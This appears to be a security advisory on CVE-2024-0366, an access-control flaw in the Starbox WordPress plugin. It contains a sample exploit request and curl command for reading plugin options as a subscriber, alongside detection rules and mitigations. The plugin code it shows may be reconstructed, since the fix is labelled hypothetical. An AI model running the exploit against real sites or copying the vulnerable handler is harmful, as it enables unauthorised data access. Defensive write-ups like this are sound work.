CVE-2024-0366

Executive Summary

CVE-2024-0366 is an Insecure Direct Object Reference (IDOR) vulnerability in the Starbox – the Author Box for Humans WordPress plugin, affecting all versions up to and including 3.4.7. The flaw resides in the plugin’s action function, which fails to validate a user-controlled key, allowing authenticated subscribers to view plugin preferences and potentially other user settings. With a CVSS score of 4.3 (Medium), the vulnerability requires low-privilege access but exposes sensitive configuration data. No public exploit code or patch exists, and the EPSS score is 0.0%, indicating low exploitation likelihood currently. However, the lack of vendor response and the plugin’s widespread use in the WordPress ecosystem elevate the risk for targeted attacks.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory, and no supply chain compromise has been reported. However, the absence of a patch means site administrators must manually mitigate the risk by disabling or removing the plugin.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs subscriber-level access.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): Low (L) – Limited exposure of plugin preferences and user settings.
• Integrity (I): None (N) – No data modification possible.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but requires authentication and only leaks non-critical data. However, in multi-tenant or sensitive environments, exposed settings could aid further attacks.

Deep Dive & Mechanics

The Starbox plugin registers an AJAX action handler that processes requests via the action function. This function retrieves a user-controlled key (e.g., option_name) without proper authorization checks. An authenticated subscriber can craft a request to read arbitrary plugin options, including:

• Plugin configuration (e.g., API keys, display settings)
• User meta data (e.g., profile fields, preferences)
• Potentially other WordPress options if the key is not sanitized

The vulnerability is a classic IDOR (CWE-639) where the application fails to verify that the requesting user has permission to access the specified resource. The attack flow:

1. Attacker logs in as a subscriber.
2. Sends a crafted POST/GET request to wp-admin/admin-ajax.php with action=starbox_action and a malicious option_name parameter.
3. The plugin returns the value of the requested option, bypassing access controls.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.4.7):

add_action('wp_ajax_starbox_action', 'starbox_action_handler');
function starbox_action_handler() {
    $option_name = $_REQUEST['option_name'];
    $value = get_option($option_name);
    wp_send_json_success($value);
}

Patched Code (Hypothetical):

add_action('wp_ajax_starbox_action', 'starbox_action_handler');
function starbox_action_handler() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    $allowed_options = array('starbox_option_1', 'starbox_option_2');
    $option_name = sanitize_text_field($_REQUEST['option_name']);
    if (!in_array($option_name, $allowed_options)) {
        wp_send_json_error('Invalid option');
    }
    $value = get_option($option_name);
    wp_send_json_success($value);
}

The patched version adds capability checks (manage_options) and whitelists allowed options, preventing unauthorized access.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Starbox plugin <= 3.4.7
• Subscriber-level account credentials

Exploitation Steps:

1. Log in as a subscriber.
2. Intercept a request or craft a new one:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target-site.com
   Content-Type: application/x-www-form-urlencoded
   Cookie: wordpress_logged_in_...
   
   action=starbox_action&option_name=starbox_settings
   

3. The response will contain the plugin settings in JSON format.

Example cURL:

curl -X POST 'https://target-site.com/wp-admin/admin-ajax.php' \
  -d 'action=starbox_action&option_name=starbox_settings' \
  -b 'wordpress_logged_in_...'

Blue Team

Detection:

• Monitor AJAX requests to admin-ajax.php with action=starbox_action from low-privilege users.
• Alert on unusual option_name parameters (e.g., wp-config, user_roles).

Honeypot:

• Create a fake option named starbox_honeypot and monitor access attempts.

Mitigation:

• Disable the plugin until a patch is available.
• Use a Web Application Firewall (WAF) to block requests with suspicious option_name values.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=starbox_action
  • option_name parameter containing non-standard values (e.g., wp-config, admin_email)
• Logs:
  • WordPress debug log entries showing starbox_action_handler calls from subscriber roles.
• File:
  • Modified plugin files (if attacker escalates privileges).

Detection Engineering

YARA Rule

rule CVE_2024_0366_Starbox_IDOR {
    meta:
        description = "Detects exploitation attempts of CVE-2024-0366 in Starbox plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0366"
    strings:
        $ajax_action = "action=starbox_action"
        $option_param = "option_name="
        $suspicious_options = /option_name=(wp_config|admin_email|user_roles|starbox_settings)/
    condition:
        $ajax_action and $option_param and #suspicious_options > 0
}

Sigma Rule

title: CVE-2024-0366 Starbox IDOR Exploitation Attempt
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests targeting the Starbox plugin IDOR vulnerability
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=starbox_action'
        cs-uri-query|contains: 'option_name='
    condition: selection
falsepositives:
    - Legitimate admin requests (rare)
level: medium

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-0366 Starbox IDOR Exploitation Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=starbox_action"; http_client_body;
    content:"option_name="; http_client_body;
    pcre:"/option_name=(wp_config|admin_email|user_roles|starbox_settings)/Pi";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Starbox plugin until a vendor patch is released.
2. Restrict subscriber capabilities using a plugin like "User Role Editor" to prevent AJAX access.
3. Implement a WAF rule to block requests containing action=starbox_action from non-admin users.

Long-term:

• Monitor the plugin’s official page for updates.
• Consider replacing Starbox with an alternative author box plugin that is actively maintained.
• Conduct a security audit of all installed plugins for similar IDOR vulnerabilities.

Workaround Code (Add to theme’s functions.php):

add_action('init', function() {
    if (defined('DOING_AJAX') && DOING_AJAX) {
        remove_action('wp_ajax_starbox_action', 'starbox_action_handler');
    }
});

Valters IT
Securing Digital Ecosystems